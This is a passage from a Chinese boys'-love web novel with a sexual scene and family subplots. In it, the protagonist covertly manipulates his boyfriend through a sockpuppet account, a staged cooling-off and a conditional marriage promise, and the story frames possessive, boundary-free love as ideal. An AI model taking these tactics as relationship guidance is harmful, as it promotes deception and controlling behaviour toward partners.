陈清棠只能这么跟他说:“沈鹤,我也有感觉。” “你说的这些,让你逐渐心动的每件事,我都有感觉。明白了吗?” 这是陈清棠的实话。 沈鹤定定地看了他两秒,却对上陈清棠认真、郑重的眸子。 这是沈鹤第一次看到陈清棠这样严肃的神情,像是定海神针一般,让沈鹤动荡的内心安稳了下来。 沈鹤一把抱紧了他:“我相信。” 陈清棠轻轻拍着他的背。 可算是把小男朋友哄好了。 差点一不留神,就被那几个网友把家给端了。 不过经历这么一出,也算是拔除了一个雷。 沈鹤不懂爱,也不知道自己是从什么时候开始心动的,怎么去爱上的,对沈鹤来说,这段感情有些虚浮的空洞。 陈清棠直接帮他从头到尾这么复盘一下,把那些暧昧、欲望都去除,让沈鹤更分明的去看清自己逐渐陷入爱情的过程。 也看清他陷入爱情的过程。 给予沈鹤他们相爱的实感。 到这里,这段感情才算是真的扎稳了根,陈清棠也才能开展下一步的计划。 陈清棠推开他,眉眼含笑:“所以接吻吗,男朋友。” 沈鹤喉结滚动:“我刷过牙了。” 陈清棠宠溺地看着他,一边用手指描摹他的唇珠:“嗯~” 咔嚓一声,沈鹤掰响了手指骨节,摁着陈清棠的后颈就吻了上去。 吻得很重,很用力,裹挟着焦躁和迫不及待。 沈鹤没接过吻,他只知道用自己的唇瓣,去贴着陈清棠的唇瓣摩擦。 又觉得这样不够,远远不够,怎么都得不到满足。 于是只能更用力地摩擦。 陈清棠嘴唇有点痛了,无奈地把人推他:“沈、沈鹤……放开我……” 沈鹤听不进去。 陈清棠直接对他的唇瓣咬了一口。 沈鹤因为疼痛松开了,眼神夹杂着野性的戾气,不甘和贪婪 像是一匹正在专心进食,却忽然被打断的狼。 陈清棠搂着他脖子,安抚地捏了捏他后颈:“你没亲对。接吻都不会?” 沈鹤嗓音微哑:“没亲过。不会。” 陈清棠眼波流转,清亮的眸光似四月潋滟的春水,让人心头荡起圈圈涟漪,他轻笑着,用鼻尖蹭了沈鹤的鼻尖一下: “我教你啊,接吻不是你这样的……该是,这样的……” 他边说着,边吻了上去。 先是用舌尖舔了舔沈鹤的唇瓣,然后双唇含住吸吮。 沈鹤顿时倒抽一口冷气,浑身都变得僵硬,本就漫上耳根的红,直接烧到了整张脸。 陈清棠爱死他这样纯情的反应了。 上辈子老狐狸一样沉稳的沈鹤他见多了,这样纯情的沈鹤,让陈清棠有一种踏实的掌控感,真的很喜欢。 陈清棠掐住他下巴:“沈鹤,嘴张开,让我进去……” 沈鹤手指尖都发麻,大脑一片混沌 几乎没思考那句‘让我进去’到底是什么含义,就本能地听从了陈清棠的话,微微张开了嘴。 下一刻,两人唇瓣紧贴,一个湿软温热的东西,像一尾调皮的鱼,飞快滑进了他的嘴里。 沈鹤哪里见识过这个,哪里知道接吻还能这样深度接触,他瞳孔缓缓放大,呼吸都停滞了。 然后那条焉坏儿的舌头,开始在他嘴里活泼地四处点火 勾勾他的舌头,又顶一下他的上颚 难以形容的酥麻、绵软的感觉,从口腔蔓延开,逐渐渗入四肢百骸,从脊骨蹿上头皮。 沈鹤呼吸变得粗重、沉闷,眼神也逐渐柔软、迷离 基因里的暴虐因子被激活,心口仿佛在酝酿着什么巨大的风暴,他只能强忍着、强压着。 直到这时,沈鹤感觉到,陈清棠在吸吮他的口液…… 那一瞬,嘭的一声,有什么东西混着欲望彻底爆炸了。 理智四分五裂 沈鹤彻底失控了,他把陈清棠扑倒在床上,迫不及待又难以忍受地开始反攻。 他学着陈清棠亲吻他的方式,一样一样地还了回去。 陈清棠抱着他,温顺地交出主动权,让沈鹤主导这场接吻。 但沈鹤太粗暴了,看得出沈鹤也很想收着欲望,怜惜他一点,却控制不住。 陈清棠只觉得,舌尖都被吸吮得发疼 口腔里不停地被催促着产生口液,献祭般去满足沈鹤的索求…… 两人的呼吸滚烫地交织在一起。 不知什么时候,床下已经满地凌乱。 屋里响起陈清棠压抑的轻嗬声,还有沈鹤粗重、凌乱的呼吸声。 这次的体验很美好。 沈鹤在接吻时,把侵略性和暴虐的欲望都发泄掉后,理智更多的占了上风,所以后面温柔许多。 陈清棠也没有像之前那样,说些羞耻的荤话去故意刺激沈鹤。 两人刚交过心,彼此之间短暂地靠近了些,灵肉的结合无比美妙 比第一次还要美妙,还要无与伦比。 在即将到站时,沈鹤眯起眼,眸色混沌地看着身下的人:“说爱我。” 陈清棠轻笑,一字一句:“我,爱,你……沈哥,我爱你……” 瞬间,陈清棠感觉有点撑,面色都变了变,他怨怪地看了沈鹤一眼。 狗东西,激动什么。 沈鹤掐住他下巴,低头怜爱地亲吻了他一下:“叫我什么,再叫一次。” 虽然魏彦他们成天沈哥沈哥的叫,这个称呼似乎已经不特别。 但从陈清棠嘴里,沈鹤是第一次听到,不知道为什么,沈鹤觉得好听极了,甚至不可遏制地兴奋了。 陈清棠偏头吻上他的手,眼波流转犹如鱼尾扫开涟漪,勾得人心头酥麻:“沈哥~” 沈鹤再次失控。 屋内的空气都快灼热到爆炸了。 陈清棠微微眯起眼,欣赏着沈鹤因为一个称呼就失控的模样。 啊,好性感 再多为他着迷一点吧,再多为他疯狂一点吧,再多因为他失控一点吧 沈鹤对他不正常的痴迷有瘾的渴望,是陈清棠绝佳的精神养料 这样的沈鹤,光是看着,他都能直接颅内高。潮。 沈鹤却不如他那样游刃有余。 他被陈清棠迷得发疯,已经完全没了理智,在这一湾爱河中欲生欲死,像个十恶不赦的罪徒那样得不到救赎。 快要溺死在情潮中时,沈鹤寻觅着去抱陈清棠,想亲吻他,却忽然发现: ——陈清棠在看他。 准确来说,是在欣赏着他此刻的样子。 陈清棠眼眸中也含着情潮,却远比他清明。 在这样剧烈到让人发狂、让人快要即刻死去的爱欲中,陈清棠甚至有余力欣赏他沉沦的模样。 宛如一个路过人间的看客,红尘不入他的心。 沈鹤又猛然想起,他们前几次亲密时,陈清棠也是这样,甚至有余力说荤话捉弄他。 为什么? 他们接过吻了。 沈鹤也能确定,他们在相爱。 沈鹤想得到的似乎都已经得到,他该满足的。 但…… 为什么他开始觉得,接吻算不得什么,一句我也爱你也代表不了什么。 因为眼前清醒着看他沉沦的陈清棠,让沈鹤想起那个难过时对他闭口不谈,不会对他袒露伤口的陈清棠。 两种时刻的陈清棠,都同样让沈鹤感受到了一种无力和不甘 好像他们之间,有一条清晰的分界线,线内沈鹤独自沉沦 而陈清棠总是站在线外,站在陈清棠自己的领域里看着他 当沈鹤试图去探寻陈清棠的更多,不经意中快要越过这条线时,陈清棠就会瞬间在他们之间竖起一道墙 而接吻和那句‘我爱你’,也没能缓解这种无力和不甘半分,也没能破开那堵墙。 此刻沈鹤听见心底有个清晰的声音,带着偏执,浮动了出来: ——这就是爱吗,仅此而已吗 ——不能更深刻吗 ——要怎么做,才能更深刻,才能将陈清棠也拖入这肮脏的爱欲里,再也无法逃开他…… 第59章第59章想要更多的爱?那就再努…… 沈鹤动作不自觉变慢了。 陈清棠两颊还泛着惹人怜爱的潮红,半眯起眼看他:“怎么了?” 沈鹤没说话,只是抱紧他,让这场情事更加激荡一些。 陈清棠明显感觉他更凶了,宠溺地全盘接受,还安抚地摸着沈鹤的头。 但这个动作不知怎么的,更加惹恼了沈鹤。 陈清棠从混沌的思绪中,抽出几分清明:“为什么又有情绪了呢?沈鹤,你在闹什么脾气。” 沈鹤粗喘着:“不知道。” 陈清棠:“是因为我吗。” 沈鹤:“嗯。” 陈清棠笑了下,引导性地问他:“那,你想怎么办呢?你想让我怎么办呢……” 沈鹤却没有回答,只是一味地埋头苦干。 最后陈清棠几乎被透得死去活来,一结束就昏睡了过去。 等陈清棠再次醒来时,都中午了,沈鹤人已经走了。 昨晚酒店一地的凌乱,也被整理得工整。 衣服裤子被叠好在凳子上放着,床头甚至贴心地放着一杯温水,还有一管消肿的膏药,以及沈鹤写的使用说明。 陈清棠懒洋洋地,拖着一副被蹂。躏透彻的身。体坐起来,先洗漱了下。 然后下楼把房退了。 等回到家,陈女士正坐着看电影,旁边还有个躺在他家沙发上,优哉游哉地吃着西瓜的楚希。 楚希吐了口西瓜子儿:“回来啦~” 陈女士瞄了眼他脖子上的吻痕,一脸没看眼的样子:“啧,年轻人节制点嘛。” 陈清棠下意识摸了摸脖子。 因为昨晚沈鹤太过努力,导致他的双腿极度酸软,腰也疼,走路姿势都变得古怪。 等走到沙发旁坐下,这时陈清棠才注意到,茶几上摆着几本书。 《同性恋心理学》、《同性恋是病吗》、《怎么跟同性恋子女相处》、《如何调理对同性恋的心态》 陈清棠:“……” 陈女士后知后觉地扑上来,飞快地把书收走,塞进沙发垫子下。 然后正襟危坐着继续看电视,脸色倒是不变。 陈清棠这才发现,原来陈女士对他是同性恋这件事,远没有表面上看着那样坦然、接受良好。 原来陈女士心里也恐慌着,不安着。 妈妈不会当面斥责他,不会说重话教育他 只是自己偷偷地查阅资料,试图多理解一些他,给予他无条件的支持。 陈清棠忽然站起身,走到陈女士身旁。 然后低头飞快地亲了一下她的脸。 陈女士愣住了,回过神立马就抄起抱枕要揍他,傲娇地朝他吼:“你妈一大把年纪了,还要被你恶心,滚滚滚!” 但陈女士的耳朵却诚实地红了。 陈清棠看着她笑:“你也知道你一大把年纪了,还这么口是心非。” 有时候陈清棠会觉得,他那样高傲的性子,就是遗传的妈妈。 陈女士瞪着他,正要说什么,老公的视频通话忽然来了:“等会儿再收拾你。” 接通电话,一个儒雅的中年男人出现在屏幕上,透过他的五官,能隐约看出点陈清棠的影子。 他看见陈妈妈,开口就是:“老婆我今天也好爱你~过两天我出差就回来啦~给你带了礼物!” 陈清棠短暂出境,看着这位甜到发腻的中年甜弟:“你老婆凶我。” 陈爸爸:“哦,别挡着我看我老婆。” 陈清棠耸耸肩,拉了沙发上的楚希一把:“行了,我们都别在这里当电灯泡了,去我房间去不去?” 楚希一个鲤鱼打挺爬起来:“走。” 两人边往楼上走,陈清棠一边问楚希:“你在我家做什么。” 他到家时,看到客厅就只有陈女士跟楚希两人。 他妈跟他的朋友待在一起,那场面怎么看怎么诡异。 楚希:“哎呀,阿姨叫我来的,说跟我聊天呗。” 陈清棠:“聊什么。” 楚希摊手:“聊你的心理健康,聊同性恋的事。还有顺便了解下你那个男朋友。” “她之前问你,你不跟她多说,她以为你是长大了独立了,觉得她烦人,就不敢多问了,但又很担心,所以找我过来,先打听下沈鹤的人品。” 养了快二十年的儿子,忽然就弯了,找了个男朋友,换谁都一时间难以调理好,做父母的怎么又能不担心。 而且陈清棠这个年纪吧,正是独立成人的时候,逐渐跟父母有边界感,像性取向这样私密、敏感的事情,很容易处理不好,陈妈妈也是有所顾虑,所以选择找楚希来侧面打探一下。 陈清棠点点头。 两人进了房间,楚希扑到他的懒人沙发里。 陈清棠把空调打开,这才给沈鹤发消息。 陈清棠:到家了吗 沈鹤:嗯 陈清棠:要视频吗 沈鹤:要 视频接通,屏幕晃了下,才出现陈清棠的脸。 沈鹤原本在等父亲回家,等待的过程并不好过,尤其是知道自己等的是一个很坏的结果时。 沈鹤已经冷着张脸快一个多小时了。 但在看到陈清棠的那一瞬,沈鹤的眸子一点点,不可遏制地变得温柔。 沈鹤:“你在家?” 陈清棠把手机放在桌面上架着,解放了双手:“嗯,在自己的房间里。” 这时,沈鹤看到了个熟悉的身影:“楚希也在?” 陈清棠:“嗯。” 楚希伸了个头来,跟他打招呼:“嗨喽~” 沈鹤淡淡地点了个头。 楚希看他脸色不对,心里透亮地哼哼两声。 连他进陈清棠的房间,沈鹤都要吃醋。 这醋劲儿也太大了。 他就是跟陈清棠天下第一好,沈鹤能怎么办呢?来打死他? 沈鹤见陈清棠拿了本书,就问他:“在看什么。” 陈清棠懒洋洋地,有一搭没一搭地跟他聊天:“漫画。” 只有短短的两个字。 沈鹤想说什么,又顿住了。 他的目光贪婪又温柔地,描摹着屏幕里的陈清棠,从眉眼到鼻子,再到嘴唇和挂着吻痕的脖颈,细细密密的一处不落。 可这样看着陈清棠,沈鹤还是不满足。 为什么陈清棠不看他 为什么陈清棠跟他打视频时,还能有心思看漫画 陈清棠不想他吗 陈清棠不像他这样,分开一刻都想对方,想得浑身煎熬难受吗 沈鹤眸子里跃动着隐晦的偏执:“陈清棠,看我。” 陈清棠还以为他有事,脸偏向屏幕:“怎么了?” 沈鹤不说话,只是目不转睛地盯着他。 ……没有 陈清棠的眼里,没有同他一样深重的思念 没有同他一样的焦躁的渴求 明明昨晚还说爱他 从昨晚开始,沈鹤心里弥漫着的某种情绪,在此刻被如烈火般熊熊的思念催化膨胀。 沈鹤也不知道自己怎么了。 最终他闭了闭眼,压下所有的情绪:“没什么。” 陈清棠哦了声,又继续看漫画。 沈鹤:“在看什么漫画。” 陈清棠漫不经心的:“是我的一点小众爱好,你不会喜欢的。” 陈清棠酷爱看一些刺激的,甚至扭曲变态的东西。 手上这本漫画,极度的血腥残忍,一般人难以接受,楚希都看不下去。 听到这话,沈鹤神情微变。 如果是以前,对方这么说话后,沈鹤就会礼貌地退回让彼此舒服的安全区域,不去碰对方的私人线。 但此刻,沈鹤想起陈清棠昨晚,在爱欲里浮沉时,那双清醒看着他的眼睛…… 想起陈清棠两次受伤,都不对他袒露脆弱,不告诉他原因…… 分开后,陈清棠略微的冷淡,还有难以忍受的思念,放大了沈鹤的情绪。 沈鹤克制不住地说:“那我也想知道。” 语气甚至带了几分强硬,还有偏执。 陈清棠翻书的手一顿,眼底漫上几分趣味儿。 他掀起眼皮瞥了眼屏幕,只有两秒,又很快收回:“没什么好看的。” “我想去洗个澡,昨晚做完只简单收拾了下就睡了,总觉得身上不舒服……” 陈清棠合上书,站起身拿着手机:“先挂了啊,下次再打。” 沈鹤几乎下意识:“别挂。” 马上沈父就要回来了,那种压着人的窒息情绪,只有在看着陈清棠的时,才会消解一点,沈鹤才能喘口气。 但陈清棠没给沈鹤挽留的机会,直接挂断。 屏幕黑了一瞬后,跳转回聊天界面。 沈鹤心口提起来的情绪,不上不下地吊在那里。 原来不谈性的时候,身。体不炽烈交缠的时候,他们的距离是那么的远。 为什么陈清棠可以说挂电话就挂 陈清棠不想再多看他几眼吗 不想再多跟他聊聊吗 脑子里又浮现出陈清棠多次问过他的那句话——沈鹤,你想让我怎么办呢 于是这段时间累积出来的强烈的情绪,驱使着沈鹤做出了一件,不符合他人设的事—— 沈鹤给陈清棠发了一条,他自己都难以理解的消息 沈鹤:想要你更爱我 发完后,沈鹤盯着屏幕上的话看了好几秒,心跳砰咚砰咚的。 沈鹤脑子里忽然浮现出,小时候他生病时,忍不住伸出手,向妈妈索要爱和关心的场景 那时候沈鹤妈只是冷淡地看着他,然后告诉他,每个人都是独立的,要独立行走,不要去向别人索取情感还有情绪价值。 沈鹤妈妈的态度,让小沈鹤开始觉得,去像别人索要感情,是件很羞耻、很过分的事。 沈鹤看着屏幕上的那行字,最终闭了闭眼,飞快撤回了。 这不对。 沈鹤切出微信,想要缓一缓,平复下情绪。 无意中却点开了抖因。 于是沈鹤在情绪还没消散的状态下,发了一条求助贴: ——怎么让男朋友在分开时更想我 不知名网友1:这……哥们儿,你是不是沦陷得太快了? 不知名网友2:这才确认关系几天 不知名网友3:感觉不是求助贴,是来撒狗粮的,溜了溜了 沈鹤:不是 海棠花:那,你想要怎样呢?又想要对方怎样呢? 陈清棠从来不会直白地去告诉对方,你应该怎样。 人如果能通过说教就学会很多事,那就不会有那么多人在生活里碰壁了。 大多数人甚至是一种‘道理我都懂,但实操完全不行’的状态,懂了和会了之间有一条很深的鸿沟,很多人一辈子都无法逾越。 所以陈清棠从不空讲道理。 而是一步步引导对方去亲身经历,并不断地在关键的转折点,去向对方提问——你想要怎样,你想要对方怎样 这样来引导对方进行反思,明确地认清自己,认清事情本质。 这个问题,沈鹤已经在心里思考了无数遍,此刻他几乎不需要再组织语言 对着陌生人,沈鹤也似乎更能说出自己心底真实的想法一些。 沈鹤:想要他在分开时多想我一些 而不是思念不浅不淡 沈鹤:想要他更爱我 而不是在爱欲里,清醒着看他一个人沉沦 沈鹤:想要他难过脆弱时,来依靠我 而不是闭口不谈,把他推开 沈鹤:想要多了解他 而不是连看什么漫画都不跟他聊 打完这些话后,沈鹤回头一看,恍然怔住。 屏幕上字字句句,都在写着他的不满足。 原来他竟然有这么多,这么深的不满足。 此刻沈鹤又猛然回想起海棠花曾经评论过的一句话: ——你们之间的关系太脆弱 这句话如同一记回旋镖,在此刻精准地命中了沈鹤。 直到此时,沈鹤才回味过来。 海棠花一语道破他的想法:你在不满足 沈鹤:是 海棠花:是什么让你不满足呢 他像是教导婴儿学步一样,一步一步在前面耐心地引导着,牵着沈鹤往前走。 沈鹤此刻心底无比清明,诚实地说出了这两天他的感受 沈鹤:我们相爱,但又似乎不那么相爱 沈鹤:彼此的心没有靠近、没有交融,好像有一堵墙,在阻止我们更相爱 所以造成了这些不满足,造成了关系的脆弱,造成了这份爱太浅薄 陈清棠看完沈鹤的回答,满意地弯起双眸,手指有一下没一下地摩挲着手机壳。 孺子可教。 沈鹤终于看到了他们之间的问题。 陈清棠打字的手指都跃动得更欢快了。 海棠花:那你就去打破这堵墙 沈鹤打字的指尖顿住,片刻后才有继续跃动 沈鹤:但每个人都有自己的难堪,有不想告诉别人的事,有不想被别人冒犯的私人领域,我没有道理强行入侵 沈鹤:这跟入室抢劫没有区别 粗鲁且无礼 陈清棠看着这几行话抿紧了唇 原来沈鹤的问题在这里。 看来太有教养的人,很难跟人毫无保留地相爱,总是怕进一步、想要的多一点,就会冒犯对方。 海棠花:但爱情就是毫无道理的,就是入室抢劫 海棠花:爱人之间就是亲密无间的,是坦诚相待的,是没什么界限的 起码陈清棠要的爱情是这样的。 目前看来,沈鹤跟他是一样的。 只是沈鹤总被各种各样虚无缥缈的东西束缚着,什么原则啊、教养啊、分寸感啊 或许还有陈清棠目前也不知道的东西。 沈鹤凝视着屏幕上的那几行字 爱情就是入室抢劫‘,’爱人就要亲密无间‘,这两句话不断地在他脑海里翻滚,密密麻麻的侵占了他的所有思绪 慢慢地,沈鹤的心口开始发热,有一股酥麻感从心脏蔓延到大脑,蔓延到手心,让他的指尖都发麻 一股说不明的冲动涌了上来,但又被沈鹤本能地抑制住了。 陈清棠看出他的犹豫,开始徐徐引诱。 海棠花:你不想看到他对你更沉沦吗 海棠花:不想看到他爱你爱到失去理智,爱到神智都不清明的样子吗…… 沈鹤轻吸一口气,脑子里首先浮现出昨晚他们激烈时,陈清棠看向他的清明眼神。 然后逐渐地,那个画面变得模糊,有什么将它篡改,陈清棠的眼神不再清明…… 而是缠绵、炽烈,带着一股疯狂的渴求,双腿也主动缠上他,眼角挂着泪花儿,极致的爱意让陈清棠难忍地抓紧他,不停地对他说着’我爱你我爱你’ 沈鹤的脸红透了,双手死死地攥紧 他根本无法抗拒那样的陈清棠 那样的陈清棠,对他是致命的诱惑 海棠花继续鼓动:不想以后每次分开时,他不能自拔地念着你,黏着你,想你想到难忍思念吗 海棠花:不想他什么都愿意跟你说,愿意对你展露自己的脆弱,还有伤口,委屈着向你撒娇,说自己很疼吗 刚才陈清棠轻描淡写挂掉电话的场景,还有陈清棠受伤难过,却推开他的场景,再次在沈鹤脑子里浮现出来 沈鹤心跳都躁动,终于彻底投降:想 海棠花:那你就去主动打破那堵墙 沈鹤:要怎么做 海棠花:以心换心 上辈子陈清棠面对沈鹤,就是觉得他们之间有一堵打不破的墙,他怎么努力都无法靠近沈鹤 这辈子也是同样。 既然陈清棠解决不了这个问题,那他就制造同样的情况,让沈鹤来解决这个问题 只要给足动力,沈鹤总会拼命地想办法来打破这堵墙的,陈清棠只需要坐着不断地给他加码,刺激他努力就好 沈鹤放下手机,想着‘以心换心’这四个字沉默了。 但他的心已经全都给陈清棠了,毫不保留。 为什么还是不行 这时手机震动一下,沈鹤瞥了眼,是微信消息 陈清棠:撤回的我都看见了 沈鹤瞳孔一缩。 陈清棠:想要我更多的爱?那就再努力一点吧~ 第60章第60章钓就完了 沈鹤正要回复,一个电话忽然弹进来。 以为是沈父,沈鹤眉头下意识皱起一瞬。 直到看清【爷爷】两个字的备注,才按下了接通。 沈爷爷:“小鹤,你在家吧?” 沈鹤:“嗯。” 沈爷爷叹了口气:“你说你这事儿,要转专业怎么不跟家里人商量,搞得情况这么僵,你爸他要面子,下不来台,那你能好过吗。” 沈鹤只是淡淡地:“跟家里商量,我还能转吗。” 沈爷爷顿了下:“你还有我,你可以跟我说,你爸那里我去沟通。” 沈鹤:“他听您的吗。” 沈爷爷又是一阵沉默。 半晌后,电话里传来一声苍老的轻叹:“你爸我教育过他了,这次他应该不会对你动手,但他那个人,其实骨子里跟你一样叛逆,你的日子大概也不会太好过……” 沈鹤安静地听着,这些他都明白。 哪怕沈父被爷爷教育过,不对他动手,肯定也会用别的方法来收拾他。 沈父收拾他,本质上并不只是因为沈鹤转专业。 还是因为,沈鹤没有跟家里商量过,就私自做主转了专业。 这让沈父感觉,自己作为父亲的威严被冒犯到了,没有得到儿子的尊重。 所以为了立威,为了在儿子和妻子面前,找回面子和尊严,沈父肯定会找机会狠狠收拾沈鹤一顿。 但沈鹤偷偷把专业转了,就是因为很清楚,但凡他跟家里商量,他这个专业都转不了。 不如先斩后奏。 沈爷爷:“他马上到家了,你这两天顺着他一点,不要刺激他啊,爷爷在老家还有点事儿,过几天就过来,你先撑着。” 沈鹤:“好。” 沈爷爷:“那先不说了,先挂了。” 沈鹤:“嗯。” 刚放下手机,就听见卧室外,隔着一道门,客厅的大门就咔嚓一声开了。 不用猜都知道,沈父回来了。 沈鹤就那么坐着,听着门外细碎的动静,然后等着。 但等了十来分钟,都没有人来敲他的门。 今天大概是躲过一劫了。 然后沈鹤立马去查了银行卡,试图从银行卡转账到微信,结果显示,银行卡被冻结。 果然。 不过影响不大,沈鹤的物欲并不强盛,平时的花销就是吃饭,如今在家里,也不用出去吃饭。 冻结银行卡对在假期中的沈鹤来说,没有任何威胁。 但下个学期,有必要想点挣钱的途径了。 毕竟除了生活,沈鹤现在是有男朋友的人了,总会想着给陈清棠买点什么。 而且既然决定了要反抗,那就反抗到底,不能被家里拿捏着。 又过了一会儿,沈鹤听见客厅再次传来关门的声音。 他从窗户望出去一眼,刚好看到沈父急匆匆离开的背影。 沈父不在这个家,好像空气都清新了,浑身都说不出的舒畅。 沈鹤这才专心回陈清棠的消息。 沈鹤:怎么努力 陈清棠:那就要你自己想办法了,这是你的事 陈清棠:让我看看,你为了我,能有多努力吧……沈哥~ 沈鹤原本平静的心,瞬间被那句‘沈哥’激荡到澎湃,好像喝了瓶红牛,满满都是冲劲儿 沈鹤:那样你就会高兴吗 陈清棠:嗯~ 沈鹤:那之前你答应我的告白,却不答应我的求婚,是因为还没有非常爱我吗 陈清棠想了想,没给答案,反而问:生气了? 沈鹤眼里涌动着什么:没有 他只是想到,原来他们之间的爱,还有提升的空间,忽然有种愉悦感。 沈鹤并不觉得麻烦,他享受爱上陈清棠的感觉,享受热烈爱着什么的感觉 同样也享受着,陈清棠慢慢爱上他的感觉 之前沈鹤没怎么体会到,陈清棠喜欢上他的过程,现在他有机会去体会,陈清棠更爱他的过程 这很好。 陈清棠:那你加油 陈清棠最后发了句,给沈鹤加冲劲儿的话:等我觉得你的努力够了的那天,就答应你的求婚 沈鹤眸子顿时亮了,他飞快地回了个好字 放下手机,内心汹涌的激动,让沈鹤克制不住地站起身,在屋里快步走了好几圈。 — 楚希窥屏完两人的聊天,扭头对陈清棠说:“你俩咋不打视频呢,热恋中的小情侣,不都分分秒秒想看见对方咩?” 陈清棠趴在床上,懒懒地翻动着漫画:“前阵子热够了,现在该冷一下了。” 也没多冷 陈清棠其实并没刻意冷着沈鹤,他原本就不是爱黏着恋人那类性格的人。 陈清棠也清楚自己这一点 所以为了让沈鹤的反差感更强烈点,前阵子沈鹤过来见他,陈清棠故意每天都让两人处在很热烈的氛围中。 这样等分开后,落差感会让沈鹤立刻就能感觉到他们之间冷淡了。 才会促使沈鹤去思考很多事。 楚希:“那你说答应他的求婚,是真的吗?” “你俩还这么年轻,你就打算吊死在他这一棵树上啊?” 年轻意味着,还没看过更大的世界,没看过更好的人,以后会面临很多诱惑。 楚希也爱周辰,但他都不能在此刻下定决心,跟周辰过一阵子。 陈清棠淡淡道:“我认真的。” “跟年不年轻没关系,跟这个世界上有多少棵树也没关系,我认定了他,就会坚持选择他这棵树,坚持到底。” 楚希还是头一回看他露出这么认真的神色,慢半拍地拍拍他的肩:“有觉悟。不过沈鹤虽然木了点,但人还是挺好的,也算值得吧。” 陈清棠笑了下,忽然又想起什么。 他拿起手机切到抖因,顶着海棠花的马甲,给沈鹤发了几条消息 海棠花:你之前说的你男朋友的问题,他之所以会形成这种性格,多半跟他从小的经历有关,大概是原生家庭出了问题 海棠花:建议你看看有关原生家庭心理学方面的书,对症下药 楚希就看着他发出这些消息,满脑子疑惑:“你整啥呢?他男朋友不是你吗,你又咋了?你原生家庭又咋了?” “咋?阿姨在我看不见的地方,虐待你了?” 陈清棠笑着摇摇头,跟他解释了这段时间同沈鹤之间的事情。 楚希听得一愣一愣的,竖起大拇指:“牛逼。还是你有法子。” 又说:“那你又是咋看出来,沈鹤的问题是因为原生家庭?” 陈清棠放下手机,把头靠在怀里的抱枕上:“很难猜吗?沈鹤现在还是学生,又没接触社会,那他这种性格,这种对待亲密关系的方式,要么是受学校的影响,要么是受家庭的影响。” 而据陈清棠所知,沈鹤从小到大都是学霸,是班主任,年级主任,甚至校长眼里的宝贝。 再加上沈鹤出色的长相,他在学生眼里同样是男神级别的存在。 所以沈鹤不可能遭受校园霸凌之类负面的事。 那问题就显而易见地出在家里了。 沈鹤的父母上辈子陈清棠并没接触很多,沈鹤似乎有意不想让他跟沈父沈母接触。 但通过那极少数的几次见面,陈清棠已经能感受到,沈鹤的家庭有多窒息了。 楚希简直服了:“你是福尔摩斯啊。” “诶,你这个可以走救赎剧本啊,既然你察觉到了沈鹤的问题,你可以看心理学的书,然后去救赎他,治愈他~” “这样他不就更加爱死你了吗,更加离不开你了吗?” 陈清棠却是摇摇头:“靠着别人站起来的人,内心是没有力量的,因为他的支撑点是别人。” “万一有天,这个人走了,离开了他,那他的世界就会彻底崩塌,不亚于第二次毁灭。” 都说父母之爱子,则为之计深远。 但其实只要爱一个人,就会下意识为他做好长远的打算。 就算是养猫养狗,也会担心自己出门后,它一只小猫一只小狗独自在家,会不会孤单,会不会饿着。 会提前给它们放好水,还有粮食。 会周全地考虑一切,比如把一些尖锐的、可能会伤害到它们的利器给收起来。 陈清棠偶尔也会想,这辈子的命运真的能够改变吗,他还会不会在三十岁的年纪,就车祸离世呢。 如果沈鹤靠着被他治愈,走出人生前半段的阴霾,那等他车祸离世后,沈鹤的后半段人生,又该怎么办呢。 上辈子沈鹤尚且能为了他,殉情自杀,这辈子沈鹤爱他更深,陈清棠几乎可以一眼望到沈鹤的结局。 陈清棠微微垂着眸,让人看不清他眸底的神情: “人只有自愈伤疤,靠着自己站起来,内心才会有力量,灵魂才会经历淬炼后,变得更强大。” 爱一个人,就是要助他变得强大。 陈清棠虽然在某些方面有点扭曲,但他其实很清楚,健康、美好的爱情该是怎样的。 因为家里有父母这对恩爱夫妻做样本。 所以说原生家庭对人的影响真的很大。 楚希:“所以你学着沈鹤对你的样子,去反弹对待沈鹤,就是为了让沈鹤注意到你们之间的问题,然后让他以为是你有问题,再然后他就会为了你,努力去解决这个问题。” “这时你再指点他去看心理学的书,他就会为了你,努力去学习,去思考,去想着怎么治愈你,最后却……” 楚希说着说着,思路理顺了,惊愕又佩服地看向陈清棠。 这真是,煞费苦心了。 陈清棠点头,承认了他的猜想。 最后沈鹤会意识到自己的问题,就算没意识到,陈清棠也会引导他去意识到。 然后沈鹤会在这个过程中,不知不觉地完成自愈,摆脱原生家庭的创伤。 原生家庭的影响,像是藏在沈鹤身体里的沉疴旧疾,只有等他痊愈了,才能学会到底该如何,去建立和经营一段健康的亲密关系。 这样沈鹤才能真正学会,该怎么去爱人,该怎么跟人相爱。 楚希忍不住鼓掌:“牛逼~大师你太厉害了。” 陈清棠挑了个眉。 其实让沈鹤自己看心理学的书,还有个原因。 那就是,陈清棠目前无法接触到沈鹤的家庭,沈鹤自己也不愿意对他开口,所以陈清棠也不知道,沈鹤的家庭是什么问题,沈鹤又到底是什么问题。 所以陈清棠能做的,暂时就这么多。 楚希给他捶捶肩:“所以你用答应他的求婚,去钓着他努力?让他按照你的想法去前进?” 陈清棠:“嗯。” 楚希:“会有效吗?” 感觉这个过程中变量很大,先不说沈鹤会不会听人劝,去看心理学的书,就算他看了,但书上也只是很多理论,要实践起来还是很难的。 陈清棠像以前那样游刃有余:“会。” 有他在就会。 就算这条路不通,那他也会寻找下条路。 而且,陈清棠相信沈鹤的强大,沈鹤的精神强大到,让他能够自愈原生家庭的创伤。 他只是需要先看到问题的所在。 — 沈鹤一直在琢磨,要怎么才能解决跟陈清棠之间的问题。 可惜他的感情经验实在太少太少,完全没有头绪。 打算上抖因搜搜网友的智慧,就看到了海棠花给他的留的言。 沈鹤指尖顿住,片刻后回复:好,我会去看 沈鹤:谢谢,这条建议非常有用 起码他之前是没往那方面去想的,只以为是陈清棠还没有太爱他。 现在看来,也许陈清棠对待感情,对待恋人的方式,有一部分是受到了家庭的影响。 但这跟沈鹤想要陈清棠更爱他,并不冲突。 沈鹤记下这条建议后,继续去搜索如何让恋人更爱自己的话题。 搜了半天,发现都是些鸡肋的建议,没有实际用处。 比如什么要会作,男人都喜欢坏的、渣的。 沈鹤:“……” 还比如什么,给他画饼,多给他描绘两个人假想的美好未来 沈鹤:“……” 再比如什么,要学会忽远忽近,让对方患得患失。 沈鹤越看眉头皱得越紧。 他不能说这些方式不对,毕竟他自己也没经验,就是感觉很怪异。 这样给出的爱,好像一颗空心的糖。 外面甜甜的,其实里面什么都没有。 但爱一个人,给出的爱应该外面、里面都是最好的才对。 刷了近半个多小时,都没看到合适、合理的方法。 